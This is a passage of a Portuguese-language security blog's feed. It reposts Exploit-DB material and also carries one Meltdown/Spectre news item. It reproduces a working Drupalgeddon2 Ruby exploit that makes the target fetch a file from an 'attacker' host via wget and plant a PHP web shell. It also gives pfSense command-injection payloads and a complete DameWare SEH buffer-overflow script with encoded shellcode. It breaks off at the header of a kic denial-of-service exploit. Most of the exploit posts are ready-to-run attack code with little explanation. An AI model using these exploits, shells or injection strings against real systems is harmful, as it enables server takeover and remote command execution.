<p><a href="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-04.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-1554" src="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-04.png" alt="" width="615" height="592" /></a></p>
<p>&nbsp;</p>
<p>Mergulhar no retorno de chamada de upload do arquivo AJAX revelou que ele usa um parâmetro GET para localizar a parte do formulário que precisa ser atualizada no cliente.</p>
<p>&nbsp;</p>
<p><span class="notranslate"><strong>Figura 5:</strong> Código da função de retorno de chamada do &#8216;upload file&#8217; do AJAX.</span></p>
<p><a href="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-05.png"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-1555" src="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-05.png" alt="" width="724" height="480" /></a></p>
<p><span class="notranslate">Depois de apontar element_parents para a parte do formulário que continha nosso array injetado, o Drupal o processou com sucesso.</span></p>
<p><span class="notranslate"><strong>Armamento Drupalgeddon 2</strong></span></p>
<p><span class="notranslate">Agora, tudo o que precisávamos fazer era injetar uma matriz de renderização mal-intencionada que usasse um retorno de chamada de renderização do Drupal para executar o código no sistema.</span></p>
<p><span class="notranslate">Havia várias propriedades que poderíamos ter injetado:</span></p>
<ul>
<li><span class="notranslate">#access_callback</span><br />
<span class="notranslate"><em>Usado pelo Drupal para determinar se o usuário atual tem ou não acesso a um elemento.</em></span></li>
<li><span class="notranslate">#pre_render</span><br />
<span class="notranslate"><em>Manipula o array de renderização antes da renderização.</em></span></li>
<li><span class="notranslate">#lazy_builder</span><br />
<span class="notranslate"><em>Usado para adicionar elementos no final do processo de renderização.</em></span></li>
<li><span class="notranslate">#post_render</span><br />
<span class="notranslate"><em>Recebe o resultado do processo de renderização e adiciona wrappers em torno dele.</em></span></li>
</ul>
<p><span class="notranslate">Para o nosso POC funcionar, escolhemos o elemento <em>#lazy_builder</em> como aquele que está sendo injetado na matriz de correio.</span> <span class="notranslate">Combinado com a funcionalidade de retorno de chamada da API AJAX, poderíamos direcionar o Drupal para renderizar nosso array malicioso.</span></p>
<p><span class="notranslate">Isso nos permitiu assumir o controle da conta do administrador, instalar um módulo backdoor mal-intencionado e finalmente executar comandos arbitrários no servidor.</span></p>
<p>&nbsp;</p>
<p><strong>Figura 6:</strong> injetando o comando malicioso em um dos retornos de chamada de renderização do Drupal.</p>
<p><a href="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-06.jpg"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-1556" src="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-06.jpg" alt="" width="1017" height="137" /></a></p>
<p>&nbsp;</p>
<p><span class="notranslate"><strong>Figura 7:</strong> Executando com sucesso comandos do shell usando o módulo malicioso</span></p>
<p><a href="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-07.jpg"><img loading="lazy" decoding="async" class="alignnone size-full wp-image-1557" src="https://www.linuxforce.com.br/wp-content/uploads/2018/04/drupal-vulnerabilidade-linuxforce-security-07.jpg" alt="" width="636" height="278" /></a></p>
<p><span class="notranslate"><strong>Conclusão</strong></span></p>
<p><span class="notranslate">Depois de ver publicações anteriores no Twitter e vários blogs de segurança, ficou aparente que havia muita confusão entre a comunidade em relação a este anúncio de vulnerabilidade, com alguns até duvidando da gravidade do mesmo.</span> <span class="notranslate">Como resultado, consideramos que vale a pena olhar mais fundo.</span></p>
<p><span class="notranslate">A pesquisa, no entanto, foi desafiadora, já que estávamos começando de uma grande superfície de ataque, já que o patch turva os vetores reais de ataque.</span> <span class="notranslate">Para agilizar nossas descobertas, tivemos a sorte de nos unirmos a especialistas na plataforma Drupal.</span> <span class="notranslate">Os resultados finais destacam como é fácil para a organização ser exposta sem culpa própria, mas sim pelas plataformas de terceiros que usam todos os dias.</span></p>
<p><span class="notranslate"><strong>Sobre os pesquisadores</strong></span></p>
<p><span class="notranslate">Eyal Shalev, Senior Developer na <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=pt-BR&amp;prev=search&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;u=https://bit.ly/2v7R1Wx&amp;xid=25657,15700002,15700023,15700124,15700149,15700168,15700186,15700201&amp;usg=ALkJrhgLR88sMAeh1UHq1tG2ahU1CxXgrA" target="_blank" rel="noopener noreferrer nofollow">Dofinity</a></span><br />
<span class="notranslate">Rotem Reiss, líder de operações de desenvolvimento e segurança na <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=pt-BR&amp;prev=search&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;u=https://bit.ly/2v7R1Wx&amp;xid=25657,15700002,15700023,15700124,15700149,15700168,15700186,15700201&amp;usg=ALkJrhgLR88sMAeh1UHq1tG2ahU1CxXgrA" target="_blank" rel="noopener noreferrer nofollow">Dofinity</a></span> <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=pt-BR&amp;prev=search&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;u=https://bit.ly/2v7R1Wx&amp;xid=25657,15700002,15700023,15700124,15700149,15700168,15700186,15700201&amp;usg=ALkJrhgLR88sMAeh1UHq1tG2ahU1CxXgrA" target="_blank" rel="noopener noreferrer nofollow"><br />
</a><span class="notranslate">Eran Vaknin, Pesquisador de Segurança da <a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=pt-BR&amp;prev=search&amp;rurl=translate.google.com.br&amp;sl=en&amp;sp=nmt4&amp;u=https://www.checkpoint.com/&amp;xid=25657,15700002,15700023,15700124,15700149,15700168,15700186,15700201&amp;usg=ALkJrhglxX8lJRApQU1AgEVdGpv2ZmykGw" target="_blank" rel="noopener noreferrer nofollow">Check Point</a></span></p>
<p>&nbsp;</p>
<p><strong>Código do Exploit abaixo (Fonte: Exploit-db.com):</strong></p>
<div></div>
<div class="line number1 index0 alt2"><code class="ruby comments"># EDB-Note. Have the contents of "shell" on http://attacker/shell.php</code></div>
<div class="line number2 index1 alt1"></div>
<div class="line number3 index2 alt2"><code class="ruby plain">require </code><code class="ruby string">'net/http'</code></div>
<div class="line number4 index3 alt1"></div>
<div class="line number5 index4 alt2"><code class="ruby comments"># Hans Topo ruby port from Drupalggedon2 exploit.</code></div>
<div class="line number6 index5 alt1"><code class="ruby comments"># Based on Vitalii Rudnykh exploit</code></div>
<div class="line number7 index6 alt2"></div>
<div class="line number8 index7 alt1"><code class="ruby plain">target = </code><code class="ruby constants">ARGV</code><code class="ruby plain">[</code><code class="ruby constants">0</code><code class="ruby plain">]</code></div>
<div class="line number9 index8 alt2"><code class="ruby plain">command = </code><code class="ruby constants">ARGV</code><code class="ruby plain">[</code><code class="ruby constants">1</code><code class="ruby plain">]</code></div>
<div class="line number10 index9 alt1"></div>
<div class="line number11 index10 alt2"><code class="ruby plain">url = target + </code><code class="ruby string">'/user/register?element_parents=account/mail/%23value&amp;ajax_form=1&amp;_wrapper_format=drupal_ajax'</code></div>
<div class="line number12 index11 alt1"></div>
<div class="line number13 index12 alt2"><code class="ruby plain">shell = </code><code class="ruby string">"&lt;?php system($_GET['cmd']); ?&gt;"</code></div>
<div class="line number14 index13 alt1"></div>
<div class="line number15 index14 alt2"><code class="ruby plain">payload = </code><code class="ruby string">'mail%5B%23markup%5D%3Dwget%20http%3A%2F%2Fattacker%2Fshell.php%26mail%5B%23type%5D%3Dmarkup%26form_id%3Duser_register_form%26_drupal_ajax%3D1%26mail%5B%23post_render%5D%5B%5D%3Dexec'</code></div>
<div class="line number16 index15 alt1"></div>
<div class="line number17 index16 alt2"><code class="ruby plain">uri = </code><code class="ruby constants">URI</code><code class="ruby plain">(url)</code></div>
<div class="line number18 index17 alt1"></div>
<div class="line number19 index18 alt2"><code class="ruby plain">http = Net::</code><code class="ruby constants">HTTP</code><code class="ruby plain">.</code><code class="ruby keyword">new</code><code class="ruby plain">(uri.host,uri.port)</code></div>
<div class="line number20 index19 alt1"></div>
<div class="line number21 index20 alt2"><code class="ruby keyword">if</code> <code class="ruby plain">uri.scheme == </code><code class="ruby string">'https'</code></div>
<div class="line number22 index21 alt1"><code class="ruby spaces">    </code><code class="ruby plain">http.use_ssl = </code><code class="ruby keyword">true</code></div>
<div class="line number23 index22 alt2"><code class="ruby spaces">    </code><code class="ruby plain">http.verify_mode = OpenSSL::</code><code class="ruby constants">SSL</code><code class="ruby plain">::</code><code class="ruby constants">VERIFY_NONE</code></div>
<div class="line number24 index23 alt1"><code class="ruby keyword">end</code></div>
<div class="line number25 index24 alt2"></div>
<div class="line number26 index25 alt1"><code class="ruby plain">req = Net::</code><code class="ruby constants">HTTP</code><code class="ruby plain">::Post.</code><code class="ruby keyword">new</code><code class="ruby plain">(uri.path)</code></div>
<div class="line number27 index26 alt2"><code class="ruby plain">req.body = payload</code></div>
<div class="line number28 index27 alt1"></div>
<div class="line number29 index28 alt2"><code class="ruby plain">response = http.request(req)</code></div>
<div class="line number30 index29 alt1"></div>
<div class="line number31 index30 alt2"><code class="ruby keyword">if</code> <code class="ruby plain">response.code != </code><code class="ruby string">"200"</code></div>
<div class="line number32 index31 alt1"><code class="ruby spaces">    </code><code class="ruby plain">puts </code><code class="ruby string">"[*] Response: "</code> <code class="ruby plain">+ response.code</code></div>
<div class="line number33 index32 alt2"><code class="ruby spaces">    </code><code class="ruby plain">puts </code><code class="ruby string">"[*] Target seems not to be exploitable"</code></div>
<div class="line number34 index33 alt1"><code class="ruby spaces">    </code><code class="ruby plain">exit</code></div>
<div class="line number35 index34 alt2"><code class="ruby keyword">end</code></div>
<div class="line number36 index35 alt1"></div>
<div class="line number37 index36 alt2"><code class="ruby plain">puts </code><code class="ruby string">"[*] Target seems to be exploitable."</code></div>
<div class="line number38 index37 alt1"></div>
<div class="line number39 index38 alt2"><code class="ruby plain">exploit_uri = </code><code class="ruby constants">URI</code><code class="ruby plain">(target+</code><code class="ruby string">"/sh.php?cmd=#{command}"</code><code class="ruby plain">)</code></div>
<div class="line number40 index39 alt1"><code class="ruby plain">response = Net::</code><code class="ruby constants">HTTP</code><code class="ruby plain">.get_response(exploit_uri)</code></div>
<div class="line number41 index40 alt2"><code class="ruby plain">puts response.body</code></div>
<div></div>
<div>[mautic type=&#8221;form&#8221; id=&#8221;1&#8243;]</div>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxforce.com.br/seguranca-da-informacao/drupal-vulnerabilidade-drupalgeddon2/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Falhas de segurança em processadores Intel  &#8211; Meltdown e Espectre!</title>
		<link>https://linuxforce.com.br/seguranca-da-informacao/falha-de-seguranca-processadores-intel/</link>
		
		<dc:creator><![CDATA[Marcio Mariano]]></dc:creator>
		<pubDate>Tue, 04 Mar 2025 23:06:26 +0000</pubDate>
				<category><![CDATA[Segurança da Informação]]></category>
		<guid isPermaLink="false">https://www.linuxforce.com.br/?p=1482</guid>

					<description><![CDATA[Em 2016, a equipe do Google Project Zero descobriu graves falhas de segurança causadas pela “speculative execution”, uma técnica usada pela maioria dos processadores modernos (CPUs) para otimizar o desempenho, isto inclui além da Intel, outros grandes fabricantes de chips mundiais como a AMD, ARM e NVIDIA e seus respectivos sistemas operacionais independente de qual [&#8230;]]]></description>
										<content:encoded><![CDATA[<div id="tw-target-text-container" class="tw-ta-container tw-nfl">
<p id="tw-target-text" class="tw-data-text tw-ta tw-text-small" dir="ltr" data-placeholder="Translation">Em 2016, a equipe do Google <strong>Project Zero</strong> descobriu graves falhas de segurança causadas pela “<a href="https://en.wikipedia.org/wiki/Speculative_execution" rel="nofollow noopener">speculative execution</a>”, uma técnica usada pela maioria dos processadores modernos (CPUs) para otimizar o desempenho, isto inclui além da Intel, outros grandes fabricantes de chips mundiais como a AMD, ARM e NVIDIA e seus respectivos sistemas operacionais independente de qual seja.</p>
<p class="tw-data-text tw-ta tw-text-small" dir="ltr" data-placeholder="Translation">O pesquisador do Projeto Zero, <strong>Jann Horn</strong>, demonstrou que códigos mal-intencionados poderiam aproveitar a execução especulativa para ler a memória do sistema que deveria estar inacessível. Por exemplo, uma pessoa não autorizada pode ler informações confidenciais importantes e impactantes na memória do sistema, como senhas, chaves de criptografia ou informações confidenciais abertas nos aplicativos. O teste também mostrou que um ataque executado em uma máquina virtual foi capaz de acessar a memória física da máquina host e, através disso, obter acesso de leitura à memória de uma máquina virtual diferente no mesmo host.</p>
<p class="tw-data-text tw-ta tw-text-small" dir="ltr" data-placeholder="Translation">Assim que a equipe do Google descobriu o problema dessa nova classe de ataque, os mesmos já se mobilizaram para defender os seus sistemas e os dados de seus usuários. Já pensou! Se até o Google seria vítima, imaginem o resto do mundo. Como já seria de se esperar, o Google colaborou com fabricantes de hardware e software em toda a indústria mundial para ajudar a proteger seus usuários e a web da maneira mais ampla. Esses esforços incluíram análise colaborativa e o desenvolvimento de novas mitigações.</p>
<p class="tw-data-text tw-ta tw-text-small" dir="ltr" data-placeholder="Translation">Esta matéria foi retirada do Blog Oficial do Google para notícias de segurança, Esta noticia foi postada antes da data original prevista que era dia 9 de janeiro de 2018 devido aos relatórios públicos existentes e a especulações crescentes na comunidade de pesquisa de imprensa e segurança sobre o problema, o que aumenta o risco de exploração. O relatório completo do Projeto Zero está disponível (atualização: isso foi publicado, veja acima).</p>
<p class="tw-data-text tw-ta tw-text-small" dir="ltr" data-placeholder="Translation">Abaixo segue o status de atenuação para produtos do Google em uma lista de produtos afetados e seu status atual de mitigação contra este ataque aparece <a href="https://support.google.com/faqs/answer/7622138" rel="nofollow noopener">aqui</a>. Como esta é uma nova classe de ataque, nosso status de patch refere-se à nossa mitigação para vetores atualmente conhecidos para explorar a falha. O problema foi atenuado em muitos produtos (ou não era uma vulnerabilidade em primeiro lugar). Em alguns casos, os usuários e clientes podem precisar tomar medidas adicionais para garantir que estejam usando uma versão protegida de um produto. Esta lista e o status de um produto podem mudar conforme os novos desenvolvimentos garantem. No caso de novos desenvolvimentos, o Google postará atualizações em seu blog Oficial (Os links contidos nas informações abaixo estão em inglês e foram fornecidos pelo Google em seu blog oficial).</p>
<ul>
<li><strong>Android</strong><br />
Os dispositivos com a <a href="https://source.android.com/security/bulletin/2018-01-01" rel="nofollow noopener">última atualização de segurança</a> estão protegidos. Além disso, desconhecemos qualquer reprodução bem-sucedida dessa vulnerabilidade que permita a divulgação de informações não autorizadas em dispositivos Android baseados em ARM.<br />
Os dispositivos Nexus e Pixel suportados com a última atualização de segurança estão protegidos.</li>
<li><strong>Google Apps / G Suite (Gmail, Calendário, Unidade, Sites, etc.):</strong><br />
Nenhuma ação adicional de usuário ou cliente necessária.</li>
<li><strong>Google Chrome</strong><br />
Algumas ações do usuário ou do cliente são necessárias. Mais informações <a href="https://support.google.com/faqs/answer/7622138#chrome" rel="nofollow noopener">aqui</a>.</li>
<li><strong>Google Chrome OS</strong> (por exemplo, Chromebooks):<br />
Algumas ações adicionais do usuário ou do cliente são necessárias. Mais informações <a href="https://support.google.com/faqs/answer/7622138#chromeos" rel="nofollow noopener">aqui</a>.</li>
<li><strong>Google Cloud Platform</strong>
<ul>
<li><strong>Google App Engine</strong>: Nenhuma ação adicional do cliente necessária.</li>
<li><strong>Google Compute Engine:</strong> Algumas ações adicionais do cliente são necessárias. Mais informações <a href="https://support.google.com/faqs/answer/7622138#gce" rel="nofollow noopener">aqui</a>.</li>
<li><strong>Google Kubernetes Engine:</strong> Algumas ações adicionais do cliente são necessárias. Mais informações <a href="https://support.google.com/faqs/answer/7622138#gke" rel="nofollow noopener">aqui</a>.</li>
<li><strong>Google Cloud Dataflow:</strong> necessária uma ação adicional do cliente. Mais informações <a href="https://support.google.com/faqs/answer/7622138#clouddataflow" rel="nofollow noopener">aqui</a>.</li>
<li><strong>Google Cloud Dataproc:</strong> necessária uma ação adicional do cliente. Mais informações <a href="https://support.google.com/faqs/answer/7622138#clouddataproc" rel="nofollow noopener">aqui</a>.</li>
</ul>
</li>
<li>Todos os outros produtos e serviços do Google Cloud: Nenhuma ação adicional é necessária.</li>
<li>Google Home / Chromecast:<br />
Nenhuma ação de usuário adicional é necessária.</li>
<li>Google Wifi / OnHub:<br />
Nenhuma ação de usuário adicional é necessária.</li>
</ul>
<p>A falha permite <strong>múltiplos métodos de ataque</strong></p>
<p>Para aproveitar esta vulnerabilidade, primeiro um atacante pode ser capaz de executar código malicioso no sistema visado.<br />
Os pesquisadores do Projeto Zero descobriram três métodos (variantes) de ataque, que são efetivos sob diferentes condições. Todas as três variantes de ataque podem permitir que qualquer usuário do sistema execute leituras não autorizadas de dados de memória, que podem conter informações confidenciais, como senhas, material de criptografia, etc.</p>
<p>Para melhorar o desempenho, muitas CPUs podem optar especificamente por executar instruções com base em premissas que são consideradas verdadeiras. Durante a execução especulativa, o processador está verificando esses pressupostos; se eles são válidos, então a execução continua. Se eles são inválidos, a execução é desencadeada e o caminho de execução correto pode ser iniciado com base nas condições reais. É possível que esta execução especulativa tenha efeitos colaterais que não sejam restaurados quando o estado da CPU é desencadeada e pode levar à divulgação de informações.</p>
<p>Não existe uma única correção para as três variantes de <strong>ataque</strong> de uma vez; Cada uma exige proteção de forma independente. Muitos vendedores possuem correções disponíveis para um ou mais desses ataques.</p>
<p>Abaixo seguem dois exemplos de ataques que foram utilizados com sucesso pelos engenheiros do Google, ambos com exploits já existentes que poderiam ser adaptados para explorar as falhas.</p>
<p><strong>Meltodwon</strong> quebra o isolamento mais fundamental entre as aplicações do usuário e o sistema operacional. Este ataque permite que um programa acesse a memória e, portanto, também os segredos, de outros programas e do sistema operacional.</p>
<p><strong>Spectre</strong> quebra o isolamento entre diferentes aplicativos. Ele permite que o invasor engane programas sem erros, que seguem as melhores práticas, para capturar os segredos da maquina visada. Na verdade, as verificações de segurança referidas das melhores práticas realmente aumentam a superfície de ataque e podem tornar as aplicações mais susceptíveis ao Spectre.</p>
<p>Specter é mais difícil de explorar do que Meltdown, mas também é difícil de mitigar. No entanto, é possível evitar explorações de conhecimento específicas com base em Spectre através de atualizações de software.</p>
<p>Portanto Sysadmins, fiquem alertas para os próximos updates 🙂</p>
</div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Notícia traduzida, adaptada e aprimorada por Marcio Mariano Galvão.</p>
<p>Fonte Original: <a href="https://security.googleblog.com/2018/01/todays-cpu-vulnerability-what-you-need.html" rel="nofollow noopener">Blog Oficial do Google</a></p>
<div id="tw-target-text-container" class="tw-ta-container tw-nfl">
<p>&nbsp;</p>
</div>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>pfSense  </title>
		<link>https://linuxforce.com.br/seguranca-da-informacao/pfsense-falha-de-seguranca-edb-id43128/</link>
		
		<dc:creator><![CDATA[Marcio Mariano]]></dc:creator>
		<pubDate>Tue, 04 Mar 2025 23:06:25 +0000</pubDate>
				<category><![CDATA[Segurança da Informação]]></category>
		<guid isPermaLink="false">https://www.linuxforce.com.br/?p=1454</guid>

					<description><![CDATA[Atenção aos administradores de Redes que utilizam o pfSense como firewall, embora hoje estejamos já na versão 2.4.1 que não é afetada por esta falha, sabemos que muitos utilizam versões anteriores e não mantem seus sistemas atualizados, falha grave no que se refere a segurança. Nós da Linux Force Security sempre consideramos que o menos [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Atenção aos administradores de Redes que utilizam o pfSense como firewall, embora hoje estejamos já na versão 2.4.1 que não é afetada por esta falha, sabemos que muitos utilizam versões anteriores e não mantem seus sistemas atualizados, falha grave no que se refere a segurança.<br />
Nós da Linux Force Security sempre consideramos que o menos é mais quando se trata de segurança. Uma prova disto são falhas relacionadas a softwares que deveriam aumentar a segurança, mas que uma vez ou outra infelizmente abrem brechas justamente opostas ao que se remetem.<br />
Vale lembrar que em março deste ano tivemos uma outra falha relacionada a mesma ferramenta, que naquela época se referia a ataques do tipo Cross-Site Scripting / Cross-Site Request Forgery que afetava uma versão superior a esta, mais especificamente a versão 2.3.2, informações detalhadas sobre esta falha podem ser encontradas clicando <a href="https://www.exploit-db.com/exploits/41501/" rel="nofollow noopener">aqui</a> .</p>
<p>Sem mais delongas:</p>
<p>Exploit Title: pfSense &lt;= 2.3.1_1 Post-Auth Command Execution<br />
Date: 11-06-2017<br />
Exploit Author: s4squatch (Scott White &#8211; www.trustedsec.com)<br />
Vendor Homepage: https://www.pfsense.org<br />
Version: 2.3-RELEASE<br />
Vendor Security Advisory: https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc</p>
<p>1. Descrição<br />
As versões do pfSense &lt;= 2.3.1_1 são afetadas por uma vulnerabilidade de injeção de comando pós-autenticação no servidor instalado em auth.inc através da página /system_groupmanager.php (menu Sistema -&gt; Gerenciador de usuários -&gt; Grupos) no gerenciamento do parâmetro [] dos membros . Isso permite que um usuário autenticado da WebGUI com privilégios no system_groupmanager.php executar comandos no contexto do usuário root do servidor em questão.</p>
<p>2. Prova do conceito<br />
&#8216;`ifconfig&gt;/usr/local/www/ifconfig.txt`&#8217;<br />
&#8216;`whoami&gt;/usr/local/www/whoami.txt`&#8217;</p>
<p>A saída do comando pode ser visualizada da seguinte forma:<br />
http://&lt;endereço&gt;/ifconfig.txt<br />
http://&lt;endereço&gt;/whoami.txt</p>
<address>Outra prova do conceito:  0&#8242;;/sbin/ping -c 10 192.168.1.125;&#8217;  (lembre-se de substituir este ip)</address>
<address>3. Solução<br />
Atualize para a versão mais recente do pfSense (2.3.1_5 acima esta corrigido). Isso pode ser realizado na interface web ou do<br />
console. Consulte https://doc.pfsense.org/index.php/Upgrade_Guide Além disso, os problemas podem ser atenuados restringindo o acesso à interface gráfica do firewall tanto com regras de firewall quanto não permitindo que usuários não confiáveis ​​tenham contas com acesso a mesma interface e não concedendo acesso de administradores não confiáveis ​​às páginas em questão.O problema foi divulgado de forma responsável no pfSense (security@pfsense.org) em 06/08/2016 e corrigido em 06/09/2016!<br />
Parabéns a equipe do PfSense pelo impressionante tempo de resposta.</address>
<address> </address>
<address>Fonte https://www.exploit-db.com/exploits/43128/</address>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>DameWare Remote Support 12.1.0.34 &#8211; Buffer Overflow (SEH)</title>
		<link>https://linuxforce.com.br/seguranca-da-informacao/dameware-remote-support-12-1-0-34-buffer-overflow-seh/</link>
		
		<dc:creator><![CDATA[Marcio Mariano]]></dc:creator>
		<pubDate>Thu, 31 Oct 2019 17:49:18 +0000</pubDate>
				<category><![CDATA[Segurança da Informação]]></category>
		<guid isPermaLink="false">https://www.linuxforce.com.br/?p=2935</guid>

					<description><![CDATA[DameWare Remote Support 12.1.0.34 &#8211; Buffer Overflow (SEH) #!/usr/bin/env python # Author: Xavi Beltran # Contact: xavibeltran@protonmail.com # Exploit Development: https://xavibel.com/2019/08/31/seh-based-local-buffer-overflow-dameware-remote-support-v-12-1-0-34/ # Date: 14/7/2019 # Description: # SEH based Buffer Overflow # DameWare Remote Support V. 12.1.0.34 # Tools &#62;&#62; Computer Comments &#62;&#62; Description # msf-pattern_offset -q "37694136" -l 5000 # [*] Exact match at [&#8230;]]]></description>
										<content:encoded><![CDATA[<h1 class="card-title text-secondary text-center">DameWare Remote Support 12.1.0.34 &#8211; Buffer Overflow (SEH)</h1>
<pre class=" language-py"><code class=" language-py"><span class="token comment">#!/usr/bin/env python</span>
<span class="token comment"># Author: Xavi Beltran</span>
<span class="token comment"># Contact: xavibeltran@protonmail.com</span>
<span class="token comment"># Exploit Development: https://xavibel.com/2019/08/31/seh-based-local-buffer-overflow-dameware-remote-support-v-12-1-0-34/</span>
<span class="token comment"># Date: 14/7/2019</span>

<span class="token comment"># Description:</span>
<span class="token comment">#           SEH based Buffer Overflow</span>
<span class="token comment">#			DameWare Remote Support V. 12.1.0.34</span>
<span class="token comment">#           Tools &gt;&gt; Computer Comments &gt;&gt; Description</span>

<span class="token comment"># msf-pattern_offset -q "37694136" -l 5000</span>
<span class="token comment"># [*] Exact match at offset 260</span>
junk1 <span class="token operator">=</span> <span class="token string">"\x41"</span> <span class="token operator">*</span> <span class="token number">260</span>

<span class="token comment"># Unicode compatible padding</span>
nseh  <span class="token operator">=</span> <span class="token string">"\x61\x43"</span>

<span class="token comment"># 0x007a0021 : pop esi # pop edi # ret</span>
<span class="token comment"># startnull,unicode,asciiprint,ascii {PAGE_EXECUTE_READ} [DNTU.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v12.1.0.34 (C:\Program Files\SolarWinds\DameWare Remote Support\DNTU.exe)</span>
seh   <span class="token operator">=</span> <span class="token string">"\x21\x7a"</span>

<span class="token comment"># Put shellcode memory address in EAX, push it to the stack and RETN</span>
<span class="token comment"># 20 bytes</span>
align  <span class="token operator">=</span> <span class="token string">""</span>
align <span class="token operator">+=</span> <span class="token string">"\x43"</span> <span class="token operator">*</span> <span class="token number">10</span>                <span class="token comment"># Padding</span>
align <span class="token operator">+=</span> <span class="token string">"\x58"</span>                     <span class="token comment"># POP EAX</span>
align <span class="token operator">+=</span> <span class="token string">"\x73"</span>                     <span class="token comment"># Venetian padding</span>
<span class="token comment"># 0012F590   83C0 50          ADD EAX,50</span>
align <span class="token operator">+=</span> u<span class="token string">"\uC083"</span> <span class="token operator">+</span> <span class="token string">"\x50"</span>         <span class="token comment"># ADD EAX, 50</span>
align <span class="token operator">+=</span> <span class="token string">"\x73"</span>                     <span class="token comment"># Venetian padding</span>
align <span class="token operator">+=</span> <span class="token string">"\x50"</span>                     <span class="token comment"># PUSH EAX</span>
align <span class="token operator">+=</span> <span class="token string">"\x73"</span>                     <span class="token comment"># Venetian padding</span>
align <span class="token operator">+=</span>  u<span class="token string">'\uC3C3'</span>                 <span class="token comment"># RETN</span>

<span class="token comment"># 1348</span>
junk2 <span class="token operator">=</span> <span class="token string">"\x43"</span> <span class="token operator">*</span> <span class="token number">18</span>

<span class="token comment"># 7FFDD066 + 2 memory address contains the value FFFF0000</span>
<span class="token comment"># This value is going to be placed in EBX </span>
<span class="token comment"># And it doesn't break the execution flow</span>
junk3 <span class="token operator">=</span> <span class="token string">"\x44"</span> <span class="token operator">*</span> <span class="token number">550</span> <span class="token operator">+</span> u<span class="token string">"\uD066"</span> <span class="token operator">+</span> u<span class="token string">"\u7FFD"</span> <span class="token comment"># u"\xF0FF"</span>

<span class="token comment"># msfvenom -p windows/exec CMD=calc -f raw &gt; shellcode.raw</span>
<span class="token comment"># ./alpha2 eax --unicode --uppercase &lt; shellcode.raw</span>
<span class="token comment"># 508 bytes</span>
shellcode <span class="token operator">=</span> <span class="token string">"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLYX4BM0M0KPQP4IZEP17PQTDKPPNPTK1BLLDK1BLTTKT2MXLOVWPJMV01KO6LOLS13LM2NLMPWQHOLMM1WWK2KBPR27TKPRLP4K0JOLTK0LN1D8K3OXKQJ1R1TKPYMPM1HS4KPILXYSOJQ9DKOD4KM1XVNQKO6LGQ8OLMM1WWP89PRUZVLCSMKHOKSMMT2UJD1HDKQHNDKQJ31VTKLL0K4K1HMLM1J3DKKTTKM1HP3YQ4O4ND1K1KQQR9PZ0QKOYPQOQOQJDKLRZKTM1MRJM1DMCUH2KPKPKPPPQXP1TKBOU7KOHUWKL07EFB0V38W6V5WMUMKOJ5OLM63LLJ3PKKIP2UKUWK17MCBRROQZM0B3KOZ51S1Q2LQSKPA"</span>

crash <span class="token operator">=</span> junk1 <span class="token operator">+</span> nseh <span class="token operator">+</span> seh <span class="token operator">+</span> align <span class="token operator">+</span> junk2 <span class="token operator">+</span> shellcode <span class="token operator">+</span> junk3

<span class="token keyword">print</span><span class="token punctuation">(</span>crash<span class="token punctuation">)</span>
            </code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>kic 2.4a &#8211; Denial of Service</title>
		<link>https://linuxforce.com.br/seguranca-da-informacao/kic-2-4a-denial-of-service/</link>
		
		<dc:creator><![CDATA[Marcio Mariano]]></dc:creator>
		<pubDate>Thu, 31 Oct 2019 17:46:50 +0000</pubDate>
				<category><![CDATA[Segurança da Informação]]></category>
		<guid isPermaLink="false">https://www.linuxforce.com.br/?p=2933</guid>

					<description><![CDATA[kic 2.4a &#8211; Denial of Service # Exploit Title: Ciftokic 2.4a - DoS Buffer Overflow # Date: September 30, 2019 # Exploit Author: @JosueEncinar # Software Link: http://launchpad.net/ubuntu/+source/kic/2.4a-1 # Version: 2.4a # Tested on: Ubuntu 18.04 ''' If we check the ciftokic.c file on line 52 we see the following code: char CIFFile[81], *Tmp;. In [&#8230;]]]></description>
										<content:encoded><![CDATA[<div class="row justify-content-md-center">
<h1 class="card-title text-secondary text-center">kic 2.4a &#8211; Denial of Service</h1>
</div>
<div class="ml-2 mr-2">
<div class="row">
<div class="col-sm-12 col-md-6 col-lg-3 d-flex align-items-stretch">
<div class="card card-stats">
<div class="card-body ">
<div class="statistics statistics-horizontal">
<div class="info info-horizontal">
<div class="row">
<div class="col-6 text-center">
<pre class=" language-py"><code class=" language-py"><span class="token comment"># Exploit Title: Ciftokic 2.4a - DoS Buffer Overflow</span>
<span class="token comment"># Date: September 30, 2019</span>
<span class="token comment"># Exploit Author: @JosueEncinar</span>
<span class="token comment"># Software Link: http://launchpad.net/ubuntu/+source/kic/2.4a-1</span>
<span class="token comment"># Version: 2.4a </span>
<span class="token comment"># Tested on: Ubuntu 18.04</span>

